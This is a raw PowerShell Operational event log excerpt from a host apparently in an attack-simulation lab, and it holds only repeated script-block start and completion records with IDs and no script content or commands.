Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024932
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024931
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024925
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024905
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024904
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024903
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024902
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
